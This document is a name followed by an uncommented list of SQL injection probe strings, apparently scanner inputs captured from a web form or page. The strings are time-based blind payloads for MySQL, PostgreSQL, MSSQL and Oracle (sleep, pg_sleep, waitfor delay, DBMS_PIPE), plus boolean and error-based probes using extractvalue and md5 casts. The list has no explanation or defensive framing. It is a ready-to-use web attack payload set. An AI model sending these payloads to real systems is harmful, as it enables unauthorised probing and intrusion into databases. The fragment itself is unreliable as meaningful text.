Storik Nuno Ferreira

'and(select*from(select+sleep(0))a/**/union/**/select+1)='

'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('g',0)='g

'and(select+1)>0waitfor/**/delay'0:0:2

'and(select*from(select+sleep(2))a/**/union/**/select+1)='

"and"z"="z

'/**/and(select'1'from/**/pg_sleep(0))::text>'0

"and(select*from(select+sleep(2))a/**/union/**/select+1)="

"and(select*from(select+sleep(0))a/**/union/**/select+1)="

'and'i'='m

'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('l',2)='l

'/**/and(select'1'from/**/pg_sleep(2))::text>'0

'and(select+1)>0waitfor/**/delay'0:0:0

"and"p"="d

'and'o'='o

'"\(

鎈'"\(

'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1987256538')))>'0

convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1111982779')))

/**/and/**/cast(md5('1863804478')as/**/int)>0

'and(select'1'from/**/cast(md5(1663825944)as/**/int))>'0

extractvalue(1,concat(char(126),md5(1160454343)))

"and/**/extractvalue(1,concat(char(126),md5(1859290877)))and"

'and/**/extractvalue(1,concat(char(126),md5(1122253763)))and'